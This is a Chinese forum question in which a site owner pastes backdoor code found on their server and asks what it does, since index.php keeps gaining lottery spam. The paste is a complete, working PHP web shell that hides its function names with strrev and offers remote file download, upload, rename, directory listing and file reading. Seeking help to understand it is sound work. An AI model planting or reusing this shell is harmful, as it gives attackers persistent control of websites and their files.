网站被植入后门代码

Question

代码如下 有哪位大神告诉下这代码大概的含义 这玩意每天把我index.php加入一段彩票代码 <?php error_reporting(0); $sr = "st" . /*+/*+*/"rr" /*+/*+*/ . "ev"; $id = $sr/*+/*+*/("ri" . "d_" . "si"); $rn = $sr/*+/*+*/("em" . "an" . "er"); $dn = $sr/*+/*+*/("em" . "anr" . "id"); $od = $sr/*+/*+*/("ri" . "dne" . "po"); $rd = $sr/*+/*+*/("ri" . "dda" . "er"); $cd = $sr/*+/*+*/("ri" . "deso" . "lc"); $fpc = $sr/*+/*+*/("stn" . "etn" . "oc_t" . "up_e" . "lif"); $fgc = $sr/*+/*+*/("stn" . "etn" . "oc_t" . "eg_e" . "lif"); $muf = $sr/*+/*+*/("eli" . "f_d" . "eda" . "olp" . "u_e" . "vom"); $dlform = '<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>'; $ulform = '<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>'; $rnform = '<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>'; $lpform = '<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>'; $sfform = '<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>';if ($_GET['act'] == 'dl') {echo ($dlform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$fpc/*+/*+*/($_POST['fn'], $fgc/*+/*+*/($_POST['url']));} exit;}if ($_GET['act'] == 'ul') { echo ($ulform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$sp = empty($_POST['sp']) ? './' : $_POST['sp'] . '/'; $muf/*+/*+*/($/*+/*+*/{"_F" . "IL" . "ES"}["uf"]["tmp_name"], $sp . $/*+/*+*/{"_F" . "IL" . "ES"}["uf"]["name"]);} exit;}if ($_GET['act'] == 'rn') {echo ($rnform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$rn/*+/*+*/($_POST['on'], $_POST['nn']);} exit;}if ($_GET['act'] == 'gp') {echo ($dn/*+/*+*/(__FILE__));exit;}if ($_GET['act'] == 'lp') { echo ($lpform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$dp = $_POST['dp'] . '/'; $h = $od/*+/*+*/($dp);while (($fn = $rd/*+/*+*/($h)) !== false) {if ($id/*+/*+*/($dp . $fn)) {$t1 .= 'D&nbsp;' . $fn . '<br>';} else { $t2 .= '&nbsp;&nbsp;' . $fn . '<br>';}} $cd/*+/*+*/($dp); echo ($dp . '<br>' . $t1 . $t2);} exit;}if ($_GET['act'] == 'sf') { echo ($sfform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$df = $_POST['df']; echo ('<textarea style="width:100%;height:100%;" wrap="off">' . $fgc/*+/*+*/($df) . '</textarea>');} exit;}